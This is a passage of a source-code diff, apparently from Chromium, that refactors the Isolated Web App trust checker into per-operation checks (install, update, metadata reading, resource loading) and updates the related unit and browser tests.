   EXPECT_THAT(future.Get(), ErrorIs(HasSubstr("FailedErrorPageLoaded")));
 }
 
diff --git a/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_prepare_and_store_update_command.cc b/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_prepare_and_store_update_command.cc
index 91fcf7e8..c07130d 100644
--- a/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_prepare_and_store_update_command.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_prepare_and_store_update_command.cc
@@ -256,7 +256,7 @@
 void IsolatedWebAppUpdatePrepareAndStoreCommand::CheckTrustAndSignatures(
     base::OnceClosure next_step_callback) {
   command_helper_->CheckTrustAndSignatures(
-      *destination_location_, &profile(),
+      *destination_location_, IwaUpdateOperation{}, &profile(),
       base::BindOnce(&IsolatedWebAppUpdatePrepareAndStoreCommand::
                          OnTrustAndSignaturesChecked,
                      weak_factory_.GetWeakPtr(),
@@ -290,8 +290,9 @@
     base::OnceCallback<void(PrepareInstallInfoJob::InstallInfoOrFailure)>
         next_step_callback) {
   prepare_install_info_job_ = PrepareInstallInfoJob::CreateAndStart(
-      profile(), *destination_location_, expected_version_, *web_contents_,
-      *command_helper_, lock_->web_contents_manager().CreateUrlLoader(),
+      profile(), *destination_location_, IwaUpdateOperation{},
+      expected_version_, *web_contents_, *command_helper_,
+      lock_->web_contents_manager().CreateUrlLoader(),
       std::move(next_step_callback));
 }
 
diff --git a/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_prepare_and_store_update_command_unittest.cc b/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_prepare_and_store_update_command_unittest.cc
index 8e9a24d..44ec10f 100644
--- a/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_prepare_and_store_update_command_unittest.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_prepare_and_store_update_command_unittest.cc
@@ -406,8 +406,7 @@
   SetTrustedWebBundleIdsForTesting({});
 
   auto result = PrepareAndStoreUpdateInfo(url_info, *update_bundle.get());
-  EXPECT_THAT(result, IsErrorWithMessage(
-                          HasSubstr("The public key(s) are not trusted")));
+  EXPECT_THAT(result, IsErrorWithMessage(_));
 
   const WebApp* web_app =
       provider()->registrar_unsafe().GetAppById(url_info.app_id());
diff --git a/chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.cc b/chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.cc
index 52a3d04..8bf4a5f 100644
--- a/chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.cc
@@ -14,10 +14,12 @@
 
 NonInstalledBundleInspectionContext::NonInstalledBundleInspectionContext(
     content::WebContents* web_contents,
-    IwaSourceWithMode source)
+    IwaSourceWithMode source,
+    IwaOperation operation)
     : content::WebContentsUserData<NonInstalledBundleInspectionContext>(
           *web_contents),
-      source_(std::move(source)) {}
+      source_(std::move(source)),
+      operation_(std::move(operation)) {}
 
 NonInstalledBundleInspectionContext::~NonInstalledBundleInspectionContext() =
     default;
@@ -26,4 +28,8 @@
   return source_;
 }
 
+const IwaOperation& NonInstalledBundleInspectionContext::operation() const {
+  return operation_;
+}
+
 }  // namespace web_app
diff --git a/chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.h b/chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.h
index d40052a..47cec0c 100644
--- a/chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.h
+++ b/chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.h
@@ -5,6 +5,7 @@
 #ifndef CHROME_BROWSER_WEB_APPLICATIONS_ISOLATED_WEB_APPS_INSTALL_NON_INSTALLED_BUNDLE_INSPECTION_CONTEXT_H_
 #define CHROME_BROWSER_WEB_APPLICATIONS_ISOLATED_WEB_APPS_INSTALL_NON_INSTALLED_BUNDLE_INSPECTION_CONTEXT_H_
 
+#include "chrome/browser/web_applications/web_app.h"
 #include "components/webapps/isolated_web_apps/types/source.h"
 #include "content/public/browser/web_contents_user_data.h"
 
@@ -14,6 +15,18 @@
 
 namespace web_app {
 
+struct IwaInstallOperation {
+  webapps::WebappInstallSource source;
+};
+
+struct IwaUpdateOperation {};
+
+struct IwaMetadataReadingOperation {};
+
+using IwaOperation = std::variant<IwaInstallOperation,
+                                  IwaUpdateOperation,
+                                  IwaMetadataReadingOperation>;
+
 // Indicates that the specific instance of |WebContents| serves data for an IWA
 // operation (install/update/bundle metadata reading). This allows components
 // that operate on the same instance of |WebContents| to share this information.
@@ -32,15 +45,18 @@
   ~NonInstalledBundleInspectionContext() override;
 
   const IwaSourceWithMode& source() const;
+  const IwaOperation& operation() const;
 
  private:
   NonInstalledBundleInspectionContext(content::WebContents* web_contents,
-                                      IwaSourceWithMode source);
+                                      IwaSourceWithMode source,
+                                      IwaOperation operation);
   friend class content::WebContentsUserData<
       NonInstalledBundleInspectionContext>;
   WEB_CONTENTS_USER_DATA_KEY_DECL();
 
   IwaSourceWithMode source_;
+  IwaOperation operation_;
 };
 
 }  // namespace web_app
diff --git a/chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context_unittest.cc b/chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context_unittest.cc
index 079505d..9f2182b 100644
--- a/chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context_unittest.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context_unittest.cc
@@ -9,7 +9,9 @@
 #include "base/check.h"
 #include "base/files/file_path.h"
 #include "base/memory/raw_ref.h"
+#include "chrome/browser/web_applications/web_app.h"
 #include "chrome/test/base/testing_profile.h"
+#include "components/webapps/browser/installable/installable_metrics.h"
 #include "components/webapps/isolated_web_apps/types/source.h"
 #include "content/public/browser/browser_context.h"
 #include "content/public/browser/web_contents.h"
@@ -21,7 +23,9 @@
 namespace web_app {
 namespace {
 
+using ::testing::_;
 using ::testing::Eq;
+using ::testing::VariantWith;
 
 std::unique_ptr<TestingProfile> CreateTestingProfile() {
   TestingProfile::Builder builder;
@@ -60,7 +64,9 @@
        CanSetAndGetIsolatedWebAppLocation) {
   NonInstalledBundleInspectionContext::CreateForWebContents(
       &web_contents(),
-      IwaSourceProxy{url::Origin::Create(GURL("https://example.com"))});
+      IwaSourceProxy{url::Origin::Create(GURL("https://example.com"))},
+      IwaInstallOperation{
+          .source = webapps::WebappInstallSource::IWA_EXTERNAL_POLICY});
   auto* install_info =
       NonInstalledBundleInspectionContext::FromWebContents(&web_contents());
 
@@ -72,8 +78,10 @@
 TEST_F(NonInstalledBundleInspectionContextTest,
        CanSetAndGetAnotherIsolatedWebAppLocation) {
   NonInstalledBundleInspectionContext::CreateForWebContents(
-      &web_contents(), IwaSourceBundleProdMode{base::FilePath{
-                           FILE_PATH_LITERAL("some testing bundle path")}});
+      &web_contents(),
+      IwaSourceBundleProdMode{
+          base::FilePath{FILE_PATH_LITERAL("some testing bundle path")}},
+      IwaMetadataReadingOperation{});
   auto* install_info =
       NonInstalledBundleInspectionContext::FromWebContents(&web_contents());
 
diff --git a/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker.cc b/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker.cc
index 7f35eed..c2d41e50 100644
--- a/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker.cc
@@ -12,15 +12,25 @@
 #include "base/no_destructor.h"
 #include "base/notreached.h"
 #include "base/strings/stringprintf.h"
+#include "base/types/expected_macros.h"
 #include "chrome/browser/profiles/profile.h"
+#include "chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.h"
 #include "chrome/browser/web_applications/isolated_web_apps/isolated_web_app_features.h"
+#include "chrome/browser/web_applications/isolated_web_apps/isolated_web_app_url_info.h"
 #include "chrome/browser/web_applications/isolated_web_apps/policy/isolated_web_app_external_install_options.h"
 #include "chrome/browser/web_applications/isolated_web_apps/runtime_data/chrome_iwa_runtime_data_provider.h"
+#include "chrome/browser/web_applications/web_app.h"
+#include "chrome/browser/web_applications/web_app_filter.h"
+#include "chrome/browser/web_applications/web_app_install_utils.h"
+#include "chrome/browser/web_applications/web_app_provider.h"
+#include "chrome/browser/web_applications/web_app_registrar.h"
 #include "chrome/common/chrome_features.h"
 #include "chrome/common/pref_names.h"
 #include "components/prefs/pref_service.h"
 #include "components/web_package/signed_web_bundles/signed_web_bundle_id.h"
+#include "components/webapps/isolated_web_apps/types/source.h"
 #include "content/public/common/content_features.h"
+#include "third_party/abseil-cpp/absl/functional/overload.h"
 
 #if BUILDFLAG(IS_CHROMEOS)
 #include "chrome/browser/ash/app_mode/isolated_web_app/kiosk_iwa_policy_util.h"
@@ -43,79 +53,188 @@
 // Returns `true` if this Web Bundle ID is configured and currently running as
 // a kiosk. Kiosk mode is configured via DeviceLocalAccounts enterprise
 // policy.
-bool IsTrustedAsKiosk(const web_package::SignedWebBundleId& web_bundle_id) {
-  return ash::GetCurrentKioskIwaBundleId() == web_bundle_id;
+base::expected<void, std::string> IsTrustedForKiosk(
+    const web_package::SignedWebBundleId& web_bundle_id) {
+  if (ash::GetCurrentKioskIwaBundleId() == web_bundle_id) {
+    return base::ok();
+  }
+  return base::unexpected("IWAs in Kiosk mode can only run in Kiosk sessions.");
+}
+
+base::expected<void, std::string> IsTrustedForShimlessRma(
+    Profile& profile,
+    const web_package::SignedWebBundleId& web_bundle_id) {
+  if (ash::IsShimlessRmaAppBrowserContext(&profile) &&
+      chromeos::Is3pDiagnosticsIwaId(web_bundle_id)) {
+    return base::ok();
+  }
+  return base::unexpected(
+      "Shimless RMA IWA is only supported in Shimless Profile on "
+      "ChromeOS.");
 }
 #endif  // BUILDFLAG(IS_CHROMEOS)
 
-bool IsTrustedViaPolicy(Profile& profile,
-                        const web_package::SignedWebBundleId& web_bundle_id) {
-  return std::ranges::any_of(
-      profile.GetPrefs()->GetList(prefs::kIsolatedWebAppInstallForceList),
-      [&web_bundle_id](const base::Value& force_install_entry) {
-        auto options =
-            IsolatedWebAppExternalInstallOptions::FromPolicyPrefValue(
-                force_install_entry);
-        return options.has_value() && options->web_bundle_id() == web_bundle_id;
-      });
-}
-
-bool IsTrustedForUserInstall(
+base::expected<void, std::string> IsTrustedForIwaPolicy(
+    Profile& profile,
     const web_package::SignedWebBundleId& web_bundle_id) {
-  return ChromeIwaRuntimeDataProvider::GetInstance()
-      .GetUserInstallAllowlistData(web_bundle_id.id());
+  if (!ChromeIwaRuntimeDataProvider::GetInstance().IsManagedInstallPermitted(
+          web_bundle_id.id())) {
+    return base::unexpected(
+        "IWA with WebAppManagement::Type::kIwaPolicy must be on the managed "
+        "allowlist.");
+  }
+  if (std::ranges::none_of(
+          profile.GetPrefs()->GetList(prefs::kIsolatedWebAppInstallForceList),
+          [&web_bundle_id](const base::Value& force_install_entry) {
+            auto options =
+                IsolatedWebAppExternalInstallOptions::FromPolicyPrefValue(
+                    force_install_entry);
+            return options.has_value() &&
+                   options->web_bundle_id() == web_bundle_id;
+          })) {
+    return base::unexpected(
+        "IWA with WebAppManagement::Type::kIwaPolicy must be listed on the"
+        "IsolatedWebAppInstallForceListPolicy.");
+  }
+  return base::ok();
 }
 
-bool IsBlocklisted(const web_package::SignedWebBundleId& web_bundle_id) {
-  return ChromeIwaRuntimeDataProvider::GetInstance().IsBundleBlocklisted(
-      web_bundle_id.id());
+base::expected<void, std::string> IsTrustedForUserInstall(
+    const web_package::SignedWebBundleId& web_bundle_id) {
+  if (!ChromeIwaRuntimeDataProvider::GetInstance().GetUserInstallAllowlistData(
+          web_bundle_id.id())) {
+    return base::unexpected(
+        "IWA with WebAppManagement::Type::kIwaUserInstalled must be on the "
+        "user "
+        "install allowlist.");
+  }
+  return base::ok();
+}
+
+base::expected<void, std::string> CheckAgainstBlocklist(
+    const web_package::SignedWebBundleId& web_bundle_id) {
+  if (ChromeIwaRuntimeDataProvider::GetInstance().IsBundleBlocklisted(
+          web_bundle_id.id())) {
+    return base::unexpected("IWA is blocklisted.");
+  }
+  return base::ok();
+}
+
+base::expected<void, std::string> EnsureDevModeEnabled(Profile& profile) {
+  if (!IsIwaDevModeEnabled(&profile)) {
+    return base::unexpected(
+        "Isolated Web App Developer Mode is not enabled or blocked by "
+        "policy.");
+  }
+  return base::ok();
+}
+
+base::expected<WebAppManagement::Type, std::string> GetHighestPrioritySource(
+    Profile& profile,
+    const web_package::SignedWebBundleId& web_bundle_id) {
+  if (auto* provider = WebAppProvider::GetForWebApps(&profile)) {
+    if (auto* iwa = provider->registrar_unsafe().GetAppById(
+            IsolatedWebAppUrlInfo::CreateFromSignedWebBundleId(web_bundle_id)
+                .app_id(),
+            WebAppFilter::IsIsolatedApp())) {
+      return iwa->GetHighestPrioritySource();
+    }
+  }
+  return base::unexpected(
+      "Something went wrong while quering the Web App system.");
+}
+
+base::expected<void, std::string> IsTrustedForManagementType(
+    Profile& profile,
+    const web_package::SignedWebBundleId& web_bundle_id,
+    WebAppManagement::Type type) {
+  switch (type) {
+    case WebAppManagement::Type::kIwaPolicy: {
+      return IsTrustedForIwaPolicy(profile, web_bundle_id);
+    }
+    case WebAppManagement::Type::kIwaUserInstalled: {
+      return IsTrustedForUserInstall(web_bundle_id);
+    }
+#if BUILDFLAG(IS_CHROMEOS)
+    case WebAppManagement::Type::kKiosk: {
+      return IsTrustedForKiosk(web_bundle_id);
+    }
+    case WebAppManagement::Type::kIwaShimlessRma: {
+      return IsTrustedForShimlessRma(profile, web_bundle_id);
+    }
+#endif  // BUILDFLAG(IS_CHROMEOS)
+    default:
+      NOTREACHED();
+  }
 }
 
 }  // namespace
 
 // static
-base::expected<void, std::string> IsolatedWebAppTrustChecker::IsTrusted(
+base::expected<void, std::string>
+IsolatedWebAppTrustChecker::IsOperationAllowed(
     Profile& profile,
     const web_package::SignedWebBundleId& web_bundle_id,
-    bool is_dev_mode_bundle) {
-  if (IsBlocklisted(web_bundle_id)) {
-    return base::unexpected("Web Bundle is blocklisted.");
-  }
-
-  if (web_bundle_id.is_for_proxy_mode()) {
-    return base::unexpected(
-        "Web Bundle IDs of type ProxyMode are not supported.");
-  }
-
-  if (IsTrustedViaPolicy(profile, web_bundle_id)) {
-    return base::ok();
-  }
-
-#if BUILDFLAG(IS_CHROMEOS)
-  if (IsTrustedAsKiosk(web_bundle_id)) {
-    return base::ok();
-  }
-
-  if (ash::IsShimlessRmaAppBrowserContext(&profile) &&
-      chromeos::Is3pDiagnosticsIwaId(web_bundle_id)) {
-    return base::ok();
-  }
-#endif  // BUILDFLAG(IS_CHROMEOS)
-
-  if (is_dev_mode_bundle && IsIwaDevModeEnabled(&profile)) {
-    return base::ok();
-  }
-
-  if (IsTrustedForUserInstall(web_bundle_id)) {
-    return base::ok();
+    bool dev_mode,
+    const IwaOperation& operation) {
+  RETURN_IF_ERROR(CheckAgainstBlocklist(web_bundle_id));
+  if (dev_mode) {
+    return EnsureDevModeEnabled(profile);
   }
 
   if (GetTrustedWebBundleIdsForTesting().contains(web_bundle_id)) {
-    CHECK_IS_TEST();
     return base::ok();
   }
 
-  return base::unexpected("The public key(s) are not trusted.");
+  return std::visit(
+      absl::Overload{
+          [&](const IwaInstallOperation& op)
+              -> base::expected<void, std::string> {
+            return IsTrustedForManagementType(
+                profile, web_bundle_id,
+                ConvertInstallSurfaceToWebAppSource(op.source));
+          },
+          [&](const IwaUpdateOperation&) -> base::expected<void, std::string> {
+            ASSIGN_OR_RETURN(WebAppManagement::Type type,
+                             GetHighestPrioritySource(profile, web_bundle_id));
+            return IsTrustedForManagementType(profile, web_bundle_id, type);
+          },
+          [&](const IwaMetadataReadingOperation&)
+              -> base::expected<void, std::string> {
+            // Metadata reading is always fine since it doesn't modify the state
+            // of the system.
+            return base::ok();
+          }},
+      operation);
+}
+
+// static
+base::expected<void, std::string>
+IsolatedWebAppTrustChecker::IsResourceLoadingAllowed(
+    Profile& profile,
+    const web_package::SignedWebBundleId& web_bundle_id,
+    const NonInstalledBundleInspectionContext& context) {
+  return IsOperationAllowed(profile, web_bundle_id, context.source().dev_mode(),
+                            context.operation());
+}
+
+// static
+base::expected<void, std::string>
+IsolatedWebAppTrustChecker::IsResourceLoadingAllowed(
+    Profile& profile,
+    const web_package::SignedWebBundleId& web_bundle_id,
+    const WebApp& iwa) {
+  RETURN_IF_ERROR(CheckAgainstBlocklist(web_bundle_id));
+
+  if (WebAppProvider::GetForWebApps(&profile)->registrar_unsafe().AppMatches(
+          iwa.app_id(), WebAppFilter::IsDevModeIsolatedApp())) {
+    return EnsureDevModeEnabled(profile);
+  }
+
+  // The IWA is assumed to be trusted for as long as it remains installed; it's
+  // the responsibility of various per-management-type managers to ensure faulty
+  // IWAs are removed.
+  return base::ok();
 }
 
 void SetTrustedWebBundleIdsForTesting(  // IN-TEST
diff --git a/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker.h b/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker.h
index 1efde14..b16c2ae 100644
--- a/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker.h
+++ b/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker.h
@@ -11,6 +11,8 @@
 #include "base/containers/flat_set.h"
 #include "base/memory/raw_ref.h"
 #include "base/types/expected.h"
+#include "chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.h"
+#include "components/webapps/isolated_web_apps/types/source.h"
 
 namespace web_package {
 class SignedWebBundleId;
@@ -20,42 +22,41 @@
 
 namespace web_app {
 
-// This class is responsible for checking whether an Isolated Web App is signed
-// by parties trusted by the user agent. The user agent will only run trusted
-// Isolated Web Apps, and refuse to run untrusted ones, except when Isolated Web
-// App developer mode is enabled.
-//
-// "Trusting" an Isolated Web App means that the public keys of the Signed Web
-// Bundle's Integrity Block, in combination with the app's expected Web Bundle
-// ID, are trusted. This class only checks whether the keys are trusted, and
-// does not verify the signatures themselves.
-//
-// An Isolated Web App is trusted in the following scenarios:
-// 1. The Web Bundle ID of an Isolated Web App is configured via enterprise
-//    policy to be trusted.
-// 2. Isolated Web App developer mode (`features::kIsolatedWebAppDevMode`) is
-//    enabled and the app is a developer mode-installed app. This is used by
-//    developers to test their Isolated Web Apps during development.
-// 3. [Only in Tests] The Web Bundle ID of an Isolated Web App is configured as
-//    trusted via a call to `SetTrustedWebBundleIdsForTesting`.
-//
-// In the near future, we will also add support for trusting a list of public
-// keys from trusted partners.
-//
-// In the longer term future, we will also add support for trusting Isolated Web
-// Apps that were countersigned by a trusted distributor/store.
+class WebApp;
+
+// This class is responsible for checking whether an Isolated Web App is trusted
+// by the user agent for a specific operation (install/update/metadata
+// reading/regular content serving). Isolated Web Apps installed in developer
+// mode are only trusted if developer mode is enabled.
 class IsolatedWebAppTrustChecker {
  public:
-  // Checks whether the user agent trusts the Isolated Web App identified by the
-  // `web_bundle_id`. Returns with `Result::Type::kTrusted` if the Isolated Web
-  // App is trusted.
-  //
-  // Whether or not Isolated Web App developer mode is enabled in the browser is
-  // only taken into account when `is_dev_mode_bundle` is set to `true`.
-  static base::expected<void, std::string> IsTrusted(
+  // This oracle decides whether interacting with the IWA identified by
+  // `web_bundle_id` and `dev_mode` is fine for the given `operation`;
+  // operations normally include installation (managed, user or dev), updates or
+  // metadata reading for populating the user install dialog.
+  // This is normally supposed to be called even before the system starts
+  // interacting with an IWA.
+  static base::expected<void, std::string> IsOperationAllowed(
       Profile& profile,
       const web_package::SignedWebBundleId& web_bundle_id,
-      bool is_dev_mode_bundle);
+      bool dev_mode,
+      const IwaOperation& operation);
+
+  // This oracle is supposed to generally behave the same as
+  // `IsOperationAllowed()`, but is invoked on a per-resource basis during an
+  // operation (i.e. when the bundle is already downloaded and
+  // manifest/icons/etc are being actively read from it).
+  static base::expected<void, std::string> IsResourceLoadingAllowed(
+      Profile& profile,
+      const web_package::SignedWebBundleId& web_bundle_id,
+      const NonInstalledBundleInspectionContext& context);
+
+  // This oracle decides whether it's fine to load resources from an installed
+  // IWA during a regular run.
+  static base::expected<void, std::string> IsResourceLoadingAllowed(
+      Profile& profile,
+      const web_package::SignedWebBundleId& web_bundle_id,
+      const WebApp& iwa);
 };
 
 // Used in tests to pretend that the given Web Bundle IDs are trusted.
diff --git a/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker_browsertest.cc b/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker_browsertest.cc
index 069e51cf..4ef5f055 100644
--- a/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker_browsertest.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker_browsertest.cc
@@ -6,9 +6,11 @@
 
 #include "base/test/gmock_expected_support.h"
 #include "chrome/browser/ui/web_applications/test/isolated_web_app_test_utils.h"
+#include "chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.h"
 #include "chrome/browser/web_applications/isolated_web_apps/test/fake_iwa_runtime_data_provider_mixin.h"
 #include "chrome/test/base/mixin_based_in_process_browser_test.h"
 #include "components/web_package/test_support/signed_web_bundles/signing_keys.h"
+#include "components/webapps/browser/installable/installable_metrics.h"
 #include "content/public/test/browser_test.h"
 
 using testing::_;
@@ -33,13 +35,18 @@
   });
 
   EXPECT_THAT(
-      IsolatedWebAppTrustChecker::IsTrusted(*profile(), allowlisted_bundle_id,
-                                            /*is_dev_mode_bundle=*/false),
+      IsolatedWebAppTrustChecker::IsOperationAllowed(
+          *profile(), allowlisted_bundle_id,
+          /*dev_mode=*/false,
+          IwaInstallOperation{
+              .source = webapps::WebappInstallSource::IWA_GRAPHICAL_INSTALLER}),
       base::test::HasValue());
   EXPECT_THAT(
-      IsolatedWebAppTrustChecker::IsTrusted(
+      IsolatedWebAppTrustChecker::IsOperationAllowed(
           *profile(), web_package::test::GetDefaultEcdsaP256WebBundleId(),
-          /*is_dev_mode_bundle=*/false),
+          /*dev_mode=*/false,
+          IwaInstallOperation{
+              .source = webapps::WebappInstallSource::IWA_GRAPHICAL_INSTALLER}),
       base::test::ErrorIs(_));
 }
 
@@ -50,8 +57,11 @@
       [&](auto& update) { update.AddToBlocklist(allowlisted_bundle_id); });
 
   EXPECT_THAT(
-      IsolatedWebAppTrustChecker::IsTrusted(*profile(), allowlisted_bundle_id,
-                                            /*is_dev_mode_bundle=*/false),
+      IsolatedWebAppTrustChecker::IsOperationAllowed(
+          *profile(), allowlisted_bundle_id,
+          /*dev_mode=*/false,
+          IwaInstallOperation{
+              .source = webapps::WebappInstallSource::IWA_GRAPHICAL_INSTALLER}),
       base::test::ErrorIs(_));
 }
 
diff --git a/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker_unittest.cc b/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker_unittest.cc
index 82be011..0e490a4 100644
--- a/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker_unittest.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker_unittest.cc
@@ -15,7 +15,11 @@
 #include "base/test/scoped_feature_list.h"
 #include "build/build_config.h"
 #include "chrome/browser/policy/developer_tools_policy_handler.h"
+#include "chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.h"
+#include "chrome/browser/web_applications/isolated_web_apps/isolation_data.h"
+#include "chrome/browser/web_applications/isolated_web_apps/test/fake_chrome_iwa_runtime_data_provider.h"
 #include "chrome/browser/web_applications/test/web_app_test.h"
+#include "chrome/browser/web_applications/web_app.h"
 #include "chrome/common/chrome_features.h"
 #include "chrome/common/pref_names.h"
 #include "components/prefs/pref_service.h"
@@ -23,7 +27,10 @@
 #include "components/web_package/signed_web_bundles/ed25519_public_key.h"
 #include "components/web_package/signed_web_bundles/signed_web_bundle_id.h"
 #include "components/web_package/signed_web_bundles/signed_web_bundle_integrity_block.h"
+#include "components/webapps/browser/installable/installable_metrics.h"
 #include "components/webapps/isolated_web_apps/scheme.h"
+#include "components/webapps/isolated_web_apps/types/source.h"
+#include "components/webapps/isolated_web_apps/types/storage_location.h"
 #include "content/public/common/content_features.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
@@ -69,8 +76,16 @@
     scoped_feature_list_.InitAndEnableFeature(features::kIsolatedWebApps);
   }
 
+  void SetUp() override {
+    data_provider_reset_.emplace(
+        ChromeIwaRuntimeDataProvider::SetInstanceForTesting(&data_provider_));
+    WebAppTest::SetUp();
+  }
+
   PrefService& pref_service() { return *profile()->GetPrefs(); }
 
+  FakeIwaRuntimeDataProvider& data_provider() { return data_provider_; }
+
   const web_package::Ed25519PublicKey kPublicKey1 =
       web_package::Ed25519PublicKey::Create(base::span(kPublicKeyBytes1));
   const web_package::Ed25519PublicKey kPublicKey2 =
@@ -90,24 +105,36 @@
 
  private:
   base::test::ScopedFeatureList scoped_feature_list_;
+  FakeIwaRuntimeDataProvider data_provider_;
+  std::optional<base::AutoReset<ChromeIwaRuntimeDataProvider*>>
+      data_provider_reset_;
 };
 
 TEST_F(IsolatedWebAppTrustCheckerTest, DevWebBundleId) {
-  EXPECT_THAT(IsolatedWebAppTrustChecker::IsTrusted(
-                  *profile(),
-                  web_package::SignedWebBundleId::CreateRandomForProxyMode(),
-                  /*is_dev_mode_bundle=*/false),
-              base::test::ErrorIs(_));
+  EXPECT_THAT(
+      IsolatedWebAppTrustChecker::IsOperationAllowed(
+          *profile(),
+          web_package::SignedWebBundleId::CreateRandomForProxyMode(),
+          /*dev_mode=*/false,
+          IwaInstallOperation{
+              .source = webapps::WebappInstallSource::IWA_GRAPHICAL_INSTALLER}),
+      base::test::ErrorIs(_));
 }
 
 TEST_F(IsolatedWebAppTrustCheckerTest, UntrustedByDefault) {
-  EXPECT_THAT(IsolatedWebAppTrustChecker::IsTrusted(
-                  *profile(), kWebBundleId1, /*is_dev_mode_bundle=*/false),
-              base::test::ErrorIs(_));
+  EXPECT_THAT(
+      IsolatedWebAppTrustChecker::IsOperationAllowed(
+          *profile(), kWebBundleId1, /*dev_mode=*/false,
+          IwaInstallOperation{
+              .source = webapps::WebappInstallSource::IWA_GRAPHICAL_INSTALLER}),
+      base::test::ErrorIs(_));
 
-  EXPECT_THAT(IsolatedWebAppTrustChecker::IsTrusted(
-                  *profile(), kWebBundleId2, /*is_dev_mode_bundle=*/false),
-              base::test::ErrorIs(_));
+  EXPECT_THAT(
+      IsolatedWebAppTrustChecker::IsOperationAllowed(
+          *profile(), kWebBundleId2, /*dev_mode=*/false,
+          IwaInstallOperation{
+              .source = webapps::WebappInstallSource::IWA_GRAPHICAL_INSTALLER}),
+      base::test::ErrorIs(_));
 }
 
 #if BUILDFLAG(IS_CHROMEOS)
@@ -131,13 +158,22 @@
   pref_service().SetList(prefs::kIsolatedWebAppInstallForceList,
                          std::move(force_install_list));
 
-  EXPECT_THAT(IsolatedWebAppTrustChecker::IsTrusted(
-                  *profile(), kWebBundleId1, /*is_dev_mode_bundle=*/false),
-              base::test::HasValue());
+  data_provider().Update(
+      [&](auto& update) { update.AddToManagedAllowlist(kWebBundleId1); });
 
-  EXPECT_THAT(IsolatedWebAppTrustChecker::IsTrusted(
-                  *profile(), kWebBundleId2, /*is_dev_mode_bundle=*/false),
-              base::test::ErrorIs(_));
+  EXPECT_THAT(
+      IsolatedWebAppTrustChecker::IsOperationAllowed(
+          *profile(), kWebBundleId1, /*dev_mode=*/false,
+          IwaInstallOperation{
+              .source = webapps::WebappInstallSource::IWA_EXTERNAL_POLICY}),
+      base::test::HasValue());
+
+  EXPECT_THAT(
+      IsolatedWebAppTrustChecker::IsOperationAllowed(
+          *profile(), kWebBundleId2, /*dev_mode=*/false,
+          IwaInstallOperation{
+              .source = webapps::WebappInstallSource::IWA_EXTERNAL_POLICY}),
+      base::test::ErrorIs(_));
 }
 
 #endif  // BUILDFLAG(IS_CHROMEOS)
@@ -147,41 +183,88 @@
   base::test::ScopedFeatureList feature_list;
   feature_list.InitAndEnableFeature(features::kIsolatedWebAppDevMode);
 
-  EXPECT_THAT(IsolatedWebAppTrustChecker::IsTrusted(
-                  *profile(), kWebBundleId1, /*is_dev_mode_bundle=*/false),
-              base::test::ErrorIs(_));
+  EXPECT_THAT(
+      IsolatedWebAppTrustChecker::IsOperationAllowed(
+          *profile(), kWebBundleId1, /*dev_mode=*/false,
+          IwaInstallOperation{
+              .source = webapps::WebappInstallSource::IWA_GRAPHICAL_INSTALLER}),
+      base::test::ErrorIs(_));
 }
 
 TEST_F(IsolatedWebAppTrustCheckerTest, TrustedViaDevMode) {
-  EXPECT_THAT(IsolatedWebAppTrustChecker::IsTrusted(
-                  *profile(), kWebBundleId1, /*is_dev_mode_bundle=*/true),
+  EXPECT_THAT(IsolatedWebAppTrustChecker::IsOperationAllowed(
+
+                  *profile(), kWebBundleId1, /*dev_mode=*/true,
+
+                  IwaInstallOperation{
+
+                      .source = webapps::WebappInstallSource::IWA_DEV_UI}),
+
               base::test::ErrorIs(_));
 
   base::test::ScopedFeatureList feature_list;
+
   feature_list.InitAndEnableFeature(features::kIsolatedWebAppDevMode);
-  EXPECT_THAT(IsolatedWebAppTrustChecker::IsTrusted(
-                  *profile(), kWebBundleId1, /*is_dev_mode_bundle=*/true),
+
+  EXPECT_THAT(IsolatedWebAppTrustChecker::IsOperationAllowed(
+
+                  *profile(), kWebBundleId1, /*dev_mode=*/true,
+
